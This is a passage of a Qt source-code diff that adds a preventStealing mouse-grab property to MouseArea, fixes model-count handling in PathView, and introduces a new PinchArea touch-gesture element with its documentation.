+
+void QDeclarativeMouseArea::setPreventStealing(bool prevent)
+{
+    Q_D(QDeclarativeMouseArea);
+    if (prevent != d->preventStealing) {
+        d->preventStealing = prevent;
+        setKeepMouseGrab(d->preventStealing && d->absorb);
+        emit preventStealingChanged();
+    }
+}
+
 /*!
     \qmlproperty MouseButtons MouseArea::pressedButtons
     This property holds the mouse buttons currently pressed.
@@ -441,7 +477,7 @@ void QDeclarativeMouseArea::mousePressEvent(QGraphicsSceneMouseEvent *event)
 {
     Q_D(QDeclarativeMouseArea);
     d->moved = false;
-    d->stealMouse = false;
+    d->stealMouse = d->preventStealing;
     if (!d->absorb)
         QDeclarativeItem::mousePressEvent(event);
     else {
@@ -458,7 +494,7 @@ void QDeclarativeMouseArea::mousePressEvent(QGraphicsSceneMouseEvent *event)
         // we should only start timer if pressAndHold is connected to.
         if (d->isPressAndHoldConnected())
             d->pressAndHoldTimer.start(PressAndHoldDelay, this);
-        setKeepMouseGrab(false);
+        setKeepMouseGrab(d->stealMouse);
         event->setAccepted(setPressed(true));
     }
 }
@@ -583,18 +619,22 @@ void QDeclarativeMouseArea::hoverEnterEvent(QGraphicsSceneHoverEvent *event)
     Q_D(QDeclarativeMouseArea);
     if (!d->absorb)
         QDeclarativeItem::hoverEnterEvent(event);
-    else
+    else {
+        d->lastPos = event->pos();
         setHovered(true);
+        QDeclarativeMouseEvent me(d->lastPos.x(), d->lastPos.y(), Qt::NoButton, Qt::NoButton, event->modifiers(), false, false);
+        emit mousePositionChanged(&me);
+    }
 }
 
 void QDeclarativeMouseArea::hoverMoveEvent(QGraphicsSceneHoverEvent *event)
 {
     Q_D(QDeclarativeMouseArea);
     if (!d->absorb) {
-        QDeclarativeItem::hoverEnterEvent(event);
+        QDeclarativeItem::hoverMoveEvent(event);
     } else {
         d->lastPos = event->pos();
-        QDeclarativeMouseEvent me(d->lastPos.x(), d->lastPos.y(), Qt::NoButton, d->lastButtons, d->lastModifiers, false, d->longPress);
+        QDeclarativeMouseEvent me(d->lastPos.x(), d->lastPos.y(), Qt::NoButton, Qt::NoButton, event->modifiers(), false, false);
         emit mousePositionChanged(&me);
         me.setX(d->lastPos.x());
         me.setY(d->lastPos.y());
@@ -859,15 +899,16 @@ bool QDeclarativeMouseArea::setPressed(bool p)
             me.setX(d->lastPos.x());
             me.setY(d->lastPos.y());
             emit mousePositionChanged(&me);
+            emit pressedChanged();
         } else {
             emit released(&me);
             me.setX(d->lastPos.x());
             me.setY(d->lastPos.y());
+            emit pressedChanged();
             if (isclick && !d->longPress && !d->doubleClick)
                 emit clicked(&me);
         }
 
-        emit pressedChanged();
         return me.isAccepted();
     }
     return false;
diff --git a/src/declarative/graphicsitems/qdeclarativemousearea_p.h b/src/declarative/graphicsitems/qdeclarativemousearea_p.h
index 937ac78..985f27e 100644
--- a/src/declarative/graphicsitems/qdeclarativemousearea_p.h
+++ b/src/declarative/graphicsitems/qdeclarativemousearea_p.h
@@ -129,6 +129,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeMouseArea : public QDeclarativeItem
     Q_PROPERTY(Qt::MouseButtons acceptedButtons READ acceptedButtons WRITE setAcceptedButtons NOTIFY acceptedButtonsChanged)
     Q_PROPERTY(bool hoverEnabled READ hoverEnabled WRITE setHoverEnabled NOTIFY hoverEnabledChanged)
     Q_PROPERTY(QDeclarativeDrag *drag READ drag CONSTANT) //### add flicking to QDeclarativeDrag or add a QDeclarativeFlick ???
+    Q_PROPERTY(bool preventStealing READ preventStealing WRITE setPreventStealing NOTIFY preventStealingChanged REVISION 1)
 
 public:
     QDeclarativeMouseArea(QDeclarativeItem *parent=0);
@@ -153,6 +154,9 @@ public:
 
     QDeclarativeDrag *drag();
 
+    bool preventStealing() const;
+    void setPreventStealing(bool prevent);
+
 Q_SIGNALS:
     void hoveredChanged();
     void pressedChanged();
@@ -161,6 +165,7 @@ Q_SIGNALS:
     void hoverEnabledChanged();
     void positionChanged(QDeclarativeMouseEvent *mouse);
     void mousePositionChanged(QDeclarativeMouseEvent *mouse);
+    Q_REVISION(1) void preventStealingChanged();
 
     void pressed(QDeclarativeMouseEvent *mouse);
     void pressAndHold(QDeclarativeMouseEvent *mouse);
diff --git a/src/declarative/graphicsitems/qdeclarativemousearea_p_p.h b/src/declarative/graphicsitems/qdeclarativemousearea_p_p.h
index 2a327af..67694fb 100644
--- a/src/declarative/graphicsitems/qdeclarativemousearea_p_p.h
+++ b/src/declarative/graphicsitems/qdeclarativemousearea_p_p.h
@@ -68,7 +68,7 @@ class QDeclarativeMouseAreaPrivate : public QDeclarativeItemPrivate
 public:
     QDeclarativeMouseAreaPrivate()
       : absorb(true), hovered(false), pressed(false), longPress(false),
-      moved(false), stealMouse(false), doubleClick(false), drag(0)
+      moved(false), stealMouse(false), doubleClick(false), preventStealing(false), drag(0)
     {
     }
 
@@ -110,6 +110,7 @@ public:
     bool dragY : 1;
     bool stealMouse : 1;
     bool doubleClick : 1;
+    bool preventStealing : 1;
     QDeclarativeDrag *drag;
     QPointF startScene;
     qreal startX;
diff --git a/src/declarative/graphicsitems/qdeclarativepath.cpp b/src/declarative/graphicsitems/qdeclarativepath.cpp
index bc395d2..48e3f66 100644
--- a/src/declarative/graphicsitems/qdeclarativepath.cpp
+++ b/src/declarative/graphicsitems/qdeclarativepath.cpp
@@ -845,7 +845,7 @@ void QDeclarativePathCubic::addToPath(QPainterPath &path)
     \o
     \qml
     PathView {
-        ...
+        // ...
         Path {
             startX: 20; startY: 0
             PathQuad { x: 50; y: 80; controlX: 0; controlY: 80 }
@@ -859,7 +859,7 @@ void QDeclarativePathCubic::addToPath(QPainterPath &path)
     \o
     \qml
     PathView {
-        ...
+        // ...
         Path {
             startX: 20; startY: 0
             PathQuad { x: 50; y: 80; controlX: 0; controlY: 80 }
@@ -892,7 +892,7 @@ void QDeclarativePathCubic::addToPath(QPainterPath &path)
 
     \qml
     PathView {
-        ...
+        // ...
         Path {
             startX: 0; startY: 0
             PathLine { x:100; y: 0; }
diff --git a/src/declarative/graphicsitems/qdeclarativepathview.cpp b/src/declarative/graphicsitems/qdeclarativepathview.cpp
index 64656af..4e401e9 100644
--- a/src/declarative/graphicsitems/qdeclarativepathview.cpp
+++ b/src/declarative/graphicsitems/qdeclarativepathview.cpp
@@ -379,14 +379,14 @@ void QDeclarativePathViewPrivate::regenerate()
     \l decrementCurrentIndex() or \l incrementCurrentIndex(), for example to navigate
     using the left and right arrow keys:
 
-    \code
+    \qml
     PathView {
-        ...
+        // ...
         focus: true
         Keys.onLeftPressed: decrementCurrentIndex()
         Keys.onRightPressed: incrementCurrentIndex()
     }
-    \endcode
+    \endqml
 
     The path view itself is a focus scope (see \l{qmlfocus#Acquiring Focus and Focus Scopes}{the focus documentation page} for more details).
 
@@ -444,7 +444,7 @@ QDeclarativePathView::~QDeclarativePathView()
     Component {
         Rectangle {
             visible: PathView.onPath
-            ...
+            // ...
         }
     }
     \endqml
@@ -706,14 +706,14 @@ void QDeclarativePathViewPrivate::setAdjustedOffset(qreal o)
     of the \l{PathView::onPath}{PathView.onPath} attached property to ensure that
     the highlight is hidden when flicked away from the path.
 
-    \code
+    \qml
     Component {
         Rectangle {
             visible: PathView.onPath
-            ...
+            // ...
         }
     }
-    \endcode
+    \endqml
 
     \sa highlightItem, highlightRangeMode
 */
@@ -1152,7 +1152,7 @@ void QDeclarativePathViewPrivate::handleMouseMoveEvent(QGraphicsSceneMouseEvent
         moveReason = QDeclarativePathViewPrivate::Mouse;
         qreal diff = (newPc - startPc)*modelCount*mappedRange;
         if (diff) {
-            setOffset(offset + diff);
+            q->setOffset(offset + diff);
 
             if (diff > modelCount/2)
                 diff -= modelCount;
@@ -1455,17 +1455,18 @@ void QDeclarativePathView::itemsInserted(int modelIndex, int count)
     if (!d->isValid() || !isComponentComplete())
         return;
 
-    d->itemCache += d->items;
-    d->items.clear();
-    if (modelIndex <= d->currentIndex) {
-        d->currentIndex += count;
-        emit currentIndexChanged();
-    } else if (d->offset != 0) {
-        d->offset += count;
-        d->offsetAdj += count;
+    if (d->modelCount) {
+        d->itemCache += d->items;
+        d->items.clear();
+        if (modelIndex <= d->currentIndex) {
+            d->currentIndex += count;
+            emit currentIndexChanged();
+        } else if (d->offset != 0) {
+            d->offset += count;
+            d->offsetAdj += count;
+        }
     }
-
-    d->modelCount = d->model->count();
+    d->modelCount += count;
     if (d->flicking || d->moving) {
         d->regenerate();
         d->updateCurrent();
@@ -1502,18 +1503,29 @@ void QDeclarativePathView::itemsRemoved(int modelIndex, int count)
     d->itemCache += d->items;
     d->items.clear();
 
+    bool changedOffset = false;
     if (modelIndex > d->currentIndex) {
         if (d->offset >= count) {
+            changedOffset = true;
             d->offset -= count;
             d->offsetAdj -= count;
         }
     }
 
-    d->modelCount = d->model->count();
-    d->regenerate();
-    d->updateCurrent();
-    if (!d->modelCount)
+    d->modelCount -= count;
+    if (!d->modelCount) {
+        while (d->itemCache.count())
+            d->releaseItem(d->itemCache.takeLast());
+        d->offset = 0;
+        changedOffset = true;
+        d->tl.reset(d->moveOffset);
         update();
+    } else {
+        d->regenerate();
+        d->updateCurrent();
+    }
+    if (changedOffset)
+        emit offsetChanged();
     if (currentChanged)
         emit currentIndexChanged();
     emit countChanged();
@@ -1601,7 +1613,7 @@ void QDeclarativePathView::movementEnding()
 int QDeclarativePathViewPrivate::calcCurrentIndex()
 {
     int current = -1;
-    if (model && items.count()) {
+    if (modelCount && model && items.count()) {
         offset = qmlMod(offset, modelCount);
         if (offset < 0)
             offset += modelCount;
@@ -1617,7 +1629,7 @@ void QDeclarativePathViewPrivate::updateCurrent()
     Q_Q(QDeclarativePathView);
     if (moveReason != Mouse)
         return;
-    if (!haveHighlightRange || highlightRangeMode != QDeclarativePathView::StrictlyEnforceRange)
+    if (!modelCount || !haveHighlightRange || highlightRangeMode != QDeclarativePathView::StrictlyEnforceRange)
         return;
 
     int idx = calcCurrentIndex();
diff --git a/src/declarative/graphicsitems/qdeclarativepincharea.cpp b/src/declarative/graphicsitems/qdeclarativepincharea.cpp
new file mode 100644
index 0000000..eae83f6
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativepincharea.cpp
@@ -0,0 +1,582 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativepincharea_p.h"
+#include "qdeclarativepincharea_p_p.h"
+
+#include <QApplication>
+#include <QGraphicsScene>
+
+#include <float.h>
+#include <math.h>
+
+QT_BEGIN_NAMESPACE
+
+
+/*!
+    \qmlclass PinchEvent QDeclarativePinchEvent
+    \ingroup qml-event-elements
+    \brief The PinchEvent object provides information about a pinch event.
+
+    \bold {The PinchEvent element was added in QtQuick 1.1}
+
+    The \c center, \c startCenter, \c previousCenter properties provide the center position between the two touch points.
+
+    The \c scale and \c previousScale properties provide the scale factor.
+
+    The \c angle, \c previousAngle and \c rotation properties provide the angle between the two points and the amount of rotation.
+
+    The \c point1, \c point2, \c startPoint1, \c startPoint2 properties provide the positions of the touch points.
+
+    The \c accepted property may be set to false in the \c onPinchStarted handler if the gesture should not
+    be handled.
+
+    \sa PinchArea
+*/
+
+/*!
+    \qmlproperty QPointF PinchEvent::center
+    \qmlproperty QPointF PinchEvent::startCenter
+    \qmlproperty QPointF PinchEvent::previousCenter
+
+    These properties hold the position of the center point between the two touch points.
+
+    \list
+    \o \c center is the current center point
+    \o \c previousCenter is the center point of the previous event.
+    \o \c startCenter is the center point when the gesture began
+    \endlist
+*/
+
+/*!
+    \qmlproperty real PinchEvent::scale
+    \qmlproperty real PinchEvent::previousScale
+
+    These properties hold the scale factor determined by the change in distance between the two touch points.
+
+    \list
+    \o \c scale is the current scale factor.
+    \o \c previousScale is the scale factor of the previous event.
+    \endlist
+
+    When a pinch gesture is started, the scale is 1.0.
+*/
+
+/*!
+    \qmlproperty real PinchEvent::angle
+    \qmlproperty real PinchEvent::previousAngle
+    \qmlproperty real PinchEvent::rotation
+
+    These properties hold the angle between the two touch points.
+
+    \list
+    \o \c angle is the current angle between the two points in the range -180 to 180.
+    \o \c previousAngle is the angle of the previous event.
+    \o \c rotation is the total rotation since the pinch gesture started.
+    \endlist
+
+    When a pinch gesture is started, the rotation is 0.0.
+*/
+
+/*!
+    \qmlproperty QPointF PinchEvent::point1
+    \qmlproperty QPointF PinchEvent::startPoint1
+    \qmlproperty QPointF PinchEvent::point2
+    \qmlproperty QPointF PinchEvent::startPoint2
+
+    These properties provide the actual touch points generating the pinch.
+
+    \list
+    \o \c point1 and \c point2 hold the current positions of the points.
+    \o \c startPoint1 and \c startPoint2 hold the positions of the points when the second point was touched.
+    \endlist
+*/
+
+/*!
+    \qmlproperty bool PinchEvent::accepted
+
+    Setting this property to false in the \c PinchArea::onPinchStarted handler
+    will result in no further pinch events being generated, and the gesture
+    ignored.
+*/
+
+QDeclarativePinch::QDeclarativePinch()
+    : m_target(0), m_minScale(1.0), m_maxScale(1.0)
+    , m_minRotation(0.0), m_maxRotation(0.0)
+    , m_axis(NoDrag), m_xmin(-FLT_MAX), m_xmax(FLT_MAX)
+    , m_ymin(-FLT_MAX), m_ymax(FLT_MAX), m_active(false)
+{
+}
+
+QDeclarativePinchAreaPrivate::~QDeclarativePinchAreaPrivate()
+{
+    delete pinch;
+}
+
+/*!
+    \qmlclass PinchArea QDeclarativePinchArea
+    \brief The PinchArea item enables simple pinch gesture handling.
+    \inherits Item
+
+    \bold {The PinchArea element was added in QtQuick 1.1}
+
+    A PinchArea is an invisible item that is typically used in conjunction with
+    a visible item in order to provide pinch gesture handling for that item.
+
+    The \l enabled property is used to enable and disable pinch handling for
+    the proxied item. When disabled, the pinch area becomes transparent to
+    mouse/touch events.
+
+    PinchArea can be used in two ways:
+
+    \list
+    \o setting a \c pinch.target to provide automatic interaction with an element
+    \o using the onPinchStarted, onPinchUpdated and onPinchFinished handlers
+    \endlist
+
+    \sa PinchEvent
+*/
+
+/*!
+    \qmlsignal PinchArea::onPinchStarted()
+
+    This handler is called when the pinch area detects that a pinch gesture has started.
+
+    The \l {PinchEvent}{pinch} parameter provides information about the pinch gesture,
+    including the scale, center and angle of the pinch.
+
+    To ignore this gesture set the \c pinch.accepted property to false.  The gesture
+    will be cancelled and no further events will be sent.
+*/
+
+/*!
+    \qmlsignal PinchArea::onPinchUpdated()
+
+    This handler is called when the pinch area detects that a pinch gesture has changed.
+
+    The \l {PinchEvent}{pinch} parameter provides information about the pinch gesture,
+    including the scale, center and angle of the pinch.
+*/
+
+/*!
+    \qmlsignal PinchArea::onPinchFinished()
+
+    This handler is called when the pinch area detects that a pinch gesture has finished.
+
+    The \l {PinchEvent}{pinch} parameter provides information about the pinch gesture,
+    including the scale, center and angle of the pinch.
+*/
+
+
+/*!
+    \qmlproperty Item PinchArea::pinch.target
+    \qmlproperty bool PinchArea::pinch.active
+    \qmlproperty real PinchArea::pinch.minimumScale
+    \qmlproperty real PinchArea::pinch.maximumScale
+    \qmlproperty real PinchArea::pinch.minimumRotation
+    \qmlproperty real PinchArea::pinch.maximumRotation
+    \qmlproperty enumeration PinchArea::pinch.dragAxis
+    \qmlproperty real PinchArea::pinch.minimumX
+    \qmlproperty real PinchArea::pinch.maximumX
+    \qmlproperty real PinchArea::pinch.minimumY
+    \qmlproperty real PinchArea::pinch.maximumY
+
+    \c pinch provides a convenient way to make an item react to pinch gestures.
+
+    \list
+    \i \c pinch.target specifies the id of the item to drag.
+    \i \c pinch.active specifies if the target item is currently being dragged.
+    \i \c pinch.minimumScale and \c pinch.maximumScale limit the range of the Item::scale property.
+    \i \c pinch.minimumRotation and \c pinch.maximumRotation limit the range of the Item::rotation property.
+    \i \c pinch.dragAxis specifies whether dragging in not allowed (\c Pinch.NoDrag), can be done horizontally (\c Pinch.XAxis), vertically (\c Pinch.YAxis), or both (\c Pinch.XandYAxis)
+    \i \c pinch.minimum and \c pinch.maximum limit how far the target can be dragged along the corresponding axes.
+    \endlist
+*/
+
+QDeclarativePinchArea::QDeclarativePinchArea(QDeclarativeItem *parent)
+  : QDeclarativeItem(*(new QDeclarativePinchAreaPrivate), parent)
+{
+    Q_D(QDeclarativePinchArea);
+    d->init();
+}
+
+QDeclarativePinchArea::~QDeclarativePinchArea()
+{
+}
+
+/*!
+    \qmlproperty bool PinchArea::enabled
+    This property holds whether the item accepts pinch gestures.
+
+    This property defaults to true.
+*/
+bool QDeclarativePinchArea::isEnabled() const
+{
+    Q_D(const QDeclarativePinchArea);
+    return d->absorb;
+}
+
+void QDeclarativePinchArea::setEnabled(bool a)
+{
+    Q_D(QDeclarativePinchArea);
+    if (a != d->absorb) {
+        d->absorb = a;
+        emit enabledChanged();
+    }
+}
+
+bool QDeclarativePinchArea::event(QEvent *event)
+{
+    Q_D(QDeclarativePinchArea);
+    if (!d->absorb || !isVisible())
+        return QDeclarativeItem::event(event);
+    switch (event->type()) {
+    case QEvent::TouchBegin:
+    case QEvent::TouchUpdate: {
+            QTouchEvent *touch = static_cast<QTouchEvent*>(event);
+            d->touchPoints.clear();
+            for (int i = 0; i < touch->touchPoints().count(); ++i) {
+                if (!(touch->touchPoints().at(i).state() & Qt::TouchPointReleased)) {
+                    d->touchPoints << touch->touchPoints().at(i);
+                }
+            }
+            updatePinch();
+        }
+        return true;
+    case QEvent::TouchEnd:
+        d->touchPoints.clear();
+        updatePinch();
+        break;
+    default:
+        return QDeclarativeItem::event(event);
+    }
+
+    return QDeclarativeItem::event(event);
+}
+
+void QDeclarativePinchArea::updatePinch()
+{
+    Q_D(QDeclarativePinchArea);
+    if (d->touchPoints.count() != 2) {
+        if (d->inPinch) {
+            d->stealMouse = false;
+            setKeepMouseGrab(false);
+            d->inPinch = false;
+            const qreal rotationAngle = d->pinchStartAngle - d->pinchLastAngle;
+            QPointF pinchCenter = mapFromScene(d->sceneLastCenter);
+            QDeclarativePinchEvent pe(pinchCenter, d->pinchLastScale, d->pinchLastAngle, rotationAngle);
+            pe.setStartCenter(d->pinchStartCenter);
+            pe.setPreviousCenter(pinchCenter);
+            pe.setPreviousAngle(d->pinchLastAngle);
+            pe.setPreviousScale(d->pinchLastScale);
+            pe.setStartPoint1(mapFromScene(d->sceneStartPoint1));
+            pe.setStartPoint2(mapFromScene(d->sceneStartPoint2));
+            pe.setPoint1(d->lastPoint1);
+            pe.setPoint2(d->lastPoint2);
+            emit pinchFinished(&pe);
+            d->pinchStartDist = 0;
+            if (d->pinch && d->pinch->target())
+                d->pinch->setActive(false);
+        }
+        return;
+    }
+    if (d->touchPoints.at(0).state() & Qt::TouchPointPressed
+        || d->touchPoints.at(1).state() & Qt::TouchPointPressed) {
+        d->sceneStartPoint1 = d->touchPoints.at(0).scenePos();
+        d->sceneStartPoint2 = d->touchPoints.at(1).scenePos();
+        d->inPinch = false;
+        d->pinchRejected = false;
+    } else if (!d->pinchRejected){
+        QDeclarativeItem *grabber = scene() ? qobject_cast<QDeclarativeItem*>(scene()->mouseGrabberItem()) : 0;
+        if (grabber == this || !grabber || !grabber->keepMouseGrab()) {
+            const int dragThreshold = QApplication::startDragDistance();
+            QPointF p1 = d->touchPoints.at(0).scenePos();
+            QPointF p2 = d->touchPoints.at(1).scenePos();
+            qreal dx = p1.x() - p2.x();
+            qreal dy = p1.y() - p2.y();
+            qreal dist = sqrt(dx*dx + dy*dy);
+            QPointF sceneCenter = (p1 + p2)/2;
+            qreal angle = QLineF(p1, p2).angle();
+            if (angle > 180)
+                angle -= 360;
+            if (!d->inPinch) {
+                if (qAbs(p1.x()-d->sceneStartPoint1.x()) > dragThreshold
+                        || qAbs(p1.y()-d->sceneStartPoint1.y()) > dragThreshold
+                        || qAbs(p2.x()-d->sceneStartPoint2.x()) > dragThreshold
+                        || qAbs(p2.y()-d->sceneStartPoint2.y()) > dragThreshold) {
+                    d->sceneStartCenter = sceneCenter;
+                    d->sceneLastCenter = sceneCenter;
+                    d->pinchStartCenter = mapFromScene(sceneCenter);
+                    d->pinchStartDist = dist;
+                    d->pinchStartAngle = angle;
+                    d->pinchLastScale = 1.0;
+                    d->pinchLastAngle = angle;
+                    d->lastPoint1 = d->touchPoints.at(0).pos();
+                    d->lastPoint2 = d->touchPoints.at(1).pos();
+                    QDeclarativePinchEvent pe(d->pinchStartCenter, 1.0, angle, 0.0);
+                    pe.setStartCenter(d->pinchStartCenter);
+                    pe.setPreviousCenter(d->pinchStartCenter);
+                    pe.setPreviousAngle(d->pinchLastAngle);
+                    pe.setPreviousScale(d->pinchLastScale);
+                    pe.setStartPoint1(mapFromScene(d->sceneStartPoint1));
+                    pe.setStartPoint2(mapFromScene(d->sceneStartPoint2));
+                    pe.setPoint1(d->lastPoint1);
+                    pe.setPoint2(d->lastPoint2);
+                    emit pinchStarted(&pe);
+                    if (pe.accepted()) {
+                        d->inPinch = true;
+                        d->stealMouse = true;
+                        QGraphicsScene *s = scene();
+                        if (s && s->mouseGrabberItem() != this)
+                            grabMouse();
+                        setKeepMouseGrab(true);
+                        if (d->pinch && d->pinch->target()) {
+                            d->pinchStartPos = pinch()->target()->pos();
+                            d->pinchStartScale = d->pinch->target()->scale();
+                            d->pinchStartRotation = d->pinch->target()->rotation();
+                            d->pinch->setActive(true);
+                        }
+                    } else {
+                        d->pinchRejected = true;
+                    }
+                }
+            } else if (d->pinchStartDist > 0) {
+                qreal scale = dist / d->pinchStartDist;
+                qreal rotationAngle = d->pinchStartAngle - angle;
+                if (rotationAngle > 180)
+                    rotationAngle -= 360;
+                QPointF pinchCenter = mapFromScene(sceneCenter);
+                QDeclarativePinchEvent pe(pinchCenter, scale, angle, rotationAngle);
+                pe.setStartCenter(d->pinchStartCenter);
+                pe.setPreviousCenter(mapFromScene(d->sceneLastCenter));
+                pe.setPreviousAngle(d->pinchLastAngle);
+                pe.setPreviousScale(d->pinchLastScale);
+                pe.setStartPoint1(mapFromScene(d->sceneStartPoint1));
+                pe.setStartPoint2(mapFromScene(d->sceneStartPoint2));
+                pe.setPoint1(d->touchPoints.at(0).pos());
+                pe.setPoint2(d->touchPoints.at(1).pos());
+                d->pinchLastScale = scale;
+                d->sceneLastCenter = sceneCenter;
+                d->pinchLastAngle = angle;
+                d->lastPoint1 = d->touchPoints.at(0).pos();
+                d->lastPoint2 = d->touchPoints.at(1).pos();
+                emit pinchUpdated(&pe);
+                if (d->pinch && d->pinch->target()) {
+                    qreal s = d->pinchStartScale * scale;
+                    s = qMin(qMax(pinch()->minimumScale(),s), pinch()->maximumScale());
+                    pinch()->target()->setScale(s);
+                    QPointF pos = sceneCenter - d->sceneStartCenter + d->pinchStartPos;
+                    if (pinch()->axis() & QDeclarativePinch::XAxis) {
+                        qreal x = pos.x();
+                        if (x < pinch()->xmin())
+                            x = pinch()->xmin();
+                        else if (x > pinch()->xmax())
+                            x = pinch()->xmax();
+                        pinch()->target()->setX(x);
+                    }
+                    if (pinch()->axis() & QDeclarativePinch::YAxis) {
+                        qreal y = pos.y();
+                        if (y < pinch()->ymin())
+                            y = pinch()->ymin();
+                        else if (y > pinch()->ymax())
+                            y = pinch()->ymax();
+                        pinch()->target()->setY(y);
+                    }
+                    if (d->pinchStartRotation >= pinch()->minimumRotation()
+                            && d->pinchStartRotation <= pinch()->maximumRotation()) {
+                        qreal r = rotationAngle + d->pinchStartRotation;
+                        r = qMin(qMax(pinch()->minimumRotation(),r), pinch()->maximumRotation());
+                        pinch()->target()->setRotation(r);
+                    }
+                }
+            }
+        }
+    }
+}
+
+void QDeclarativePinchArea::mousePressEvent(QGraphicsSceneMouseEvent *event)
+{
+    Q_D(QDeclarativePinchArea);
+    d->stealMouse = false;
+    if (!d->absorb)
+        QDeclarativeItem::mousePressEvent(event);
+    else {
+        setKeepMouseGrab(false);
+        event->setAccepted(true);
+    }
+}
+
+void QDeclarativePinchArea::mouseMoveEvent(QGraphicsSceneMouseEvent *event)
+{
+    Q_D(QDeclarativePinchArea);
+    if (!d->absorb) {
+        QDeclarativeItem::mouseMoveEvent(event);
+        return;
+    }
+}
+
+void QDeclarativePinchArea::mouseReleaseEvent(QGraphicsSceneMouseEvent *event)
+{
+    Q_D(QDeclarativePinchArea);
+    d->stealMouse = false;
+    if (!d->absorb) {
+        QDeclarativeItem::mouseReleaseEvent(event);
+    } else {
+        QGraphicsScene *s = scene();
+        if (s && s->mouseGrabberItem() == this)
+            ungrabMouse();
+        setKeepMouseGrab(false);
+    }
+}
+
+bool QDeclarativePinchArea::sceneEvent(QEvent *event)
+{
+    bool rv = QDeclarativeItem::sceneEvent(event);
+    if (event->type() == QEvent::UngrabMouse) {
+        setKeepMouseGrab(false);
+    }
+    return rv;
+}
+
+bool QDeclarativePinchArea::sendMouseEvent(QGraphicsSceneMouseEvent *event)
+{
+    Q_D(QDeclarativePinchArea);
+    QGraphicsSceneMouseEvent mouseEvent(event->type());
+    QRectF myRect = mapToScene(QRectF(0, 0, width(), height())).boundingRect();
+
+    QGraphicsScene *s = scene();
+    QDeclarativeItem *grabber = s ? qobject_cast<QDeclarativeItem*>(s->mouseGrabberItem()) : 0;
+    bool stealThisEvent = d->stealMouse;
+    if ((stealThisEvent || myRect.contains(event->scenePos().toPoint())) && (!grabber || !grabber->keepMouseGrab())) {
+        mouseEvent.setAccepted(false);
+        for (int i = 0x1; i <= 0x10; i <<= 1) {
+            if (event->buttons() & i) {
+                Qt::MouseButton button = Qt::MouseButton(i);
+                mouseEvent.setButtonDownPos(button, mapFromScene(event->buttonDownPos(button)));
+            }
+        }
+        mouseEvent.setScenePos(event->scenePos());
+        mouseEvent.setLastScenePos(event->lastScenePos());
+        mouseEvent.setPos(mapFromScene(event->scenePos()));
+        mouseEvent.setLastPos(mapFromScene(event->lastScenePos()));
+
+        switch(mouseEvent.type()) {
+        case QEvent::GraphicsSceneMouseMove:
+            mouseMoveEvent(&mouseEvent);
+            break;
+        case QEvent::GraphicsSceneMousePress:
+            mousePressEvent(&mouseEvent);
+            break;
+        case QEvent::GraphicsSceneMouseRelease:
+            mouseReleaseEvent(&mouseEvent);
+            break;
+        default:
+            break;
+        }
+        grabber = qobject_cast<QDeclarativeItem*>(s->mouseGrabberItem());
+        if (grabber && stealThisEvent && !grabber->keepMouseGrab() && grabber != this)
+            grabMouse();
+
+        return stealThisEvent;
+    }
+    if (mouseEvent.type() == QEvent::GraphicsSceneMouseRelease) {
+        d->stealMouse = false;
+        if (s && s->mouseGrabberItem() == this)
+            ungrabMouse();
+        setKeepMouseGrab(false);
+    }
+    return false;
+}
+
+bool QDeclarativePinchArea::sceneEventFilter(QGraphicsItem *i, QEvent *e)
+{
+    Q_D(QDeclarativePinchArea);
+    if (!d->absorb || !isVisible())
+        return QDeclarativeItem::sceneEventFilter(i, e);
+    switch (e->type()) {
+    case QEvent::GraphicsSceneMousePress:
+    case QEvent::GraphicsSceneMouseMove:
+    case QEvent::GraphicsSceneMouseRelease:
+        return sendMouseEvent(static_cast<QGraphicsSceneMouseEvent *>(e));
+        break;
+    case QEvent::TouchBegin:
+    case QEvent::TouchUpdate: {
+            QTouchEvent *touch = static_cast<QTouchEvent*>(e);
+            d->touchPoints.clear();
+            for (int i = 0; i < touch->touchPoints().count(); ++i)
+                if (!(touch->touchPoints().at(i).state() & Qt::TouchPointReleased))
+                    d->touchPoints << touch->touchPoints().at(i);
+            updatePinch();
+        }
+        return d->inPinch;
+    case QEvent::TouchEnd:
+        d->touchPoints.clear();
+        updatePinch();
+        break;
+    default:
+        break;
+    }
+
+    return QDeclarativeItem::sceneEventFilter(i, e);
+}
+
+void QDeclarativePinchArea::geometryChanged(const QRectF &newGeometry,
+                                            const QRectF &oldGeometry)
+{
+    QDeclarativeItem::geometryChanged(newGeometry, oldGeometry);
+}
+
+QVariant QDeclarativePinchArea::itemChange(GraphicsItemChange change,
+                                       const QVariant &value)
+{
+    return QDeclarativeItem::itemChange(change, value);
+}
+
+QDeclarativePinch *QDeclarativePinchArea::pinch()
+{
+    Q_D(QDeclarativePinchArea);
+    if (!d->pinch)
+        d->pinch = new QDeclarativePinch;
+    return d->pinch;
+}
+
+
+QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativepincharea_p.h b/src/declarative/graphicsitems/qdeclarativepincharea_p.h
new file mode 100644
index 0000000..6d04708
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativepincharea_p.h
@@ -0,0 +1,308 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
